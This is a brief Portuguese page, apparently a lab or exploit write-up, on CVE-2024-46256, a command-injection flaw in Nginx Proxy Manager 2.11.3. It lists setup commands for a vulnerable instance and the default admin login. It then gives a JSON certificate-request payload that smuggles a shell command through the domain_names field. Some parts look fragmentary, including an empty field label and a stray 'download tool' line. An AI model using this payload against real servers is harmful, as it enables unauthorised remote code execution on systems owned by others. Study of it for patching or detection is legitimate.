Compartilhar

CVE-2024-46256 Análise da Vulnerabilidade RCE do Nginx Proxy Manager

Configuração do Ambiente

1. Executar o ambiente Nginx Proxy Manager 2.11.3


docker-compose up -d

Ou você pode usar o script automático:


python setup_environment.py

2. Acessar o Nginx Proxy Manager

URL: http://localhost:81
Após concluir a configuração inicial, prossiga com os testes
Faça login com a conta de administrador padrão (e-mail: [email protected] / senha: changeme)
Verifique a permissão de acesso aos recursos relacionados à emissão de certificados

Informações da Vulnerabilidade

CVE ID: CVE-2024-46256
: Nginx Proxy Manager

Baixar ferramenta

{
  "domain_names": ["test.com\"||{command}||\\n test.com\""],
  "meta": {
    "dns_challenge": false,
    "letsencrypt_agree": true,
    "letsencrypt_email": "[email protected]"
  },
  "provider": "letsencrypt"
}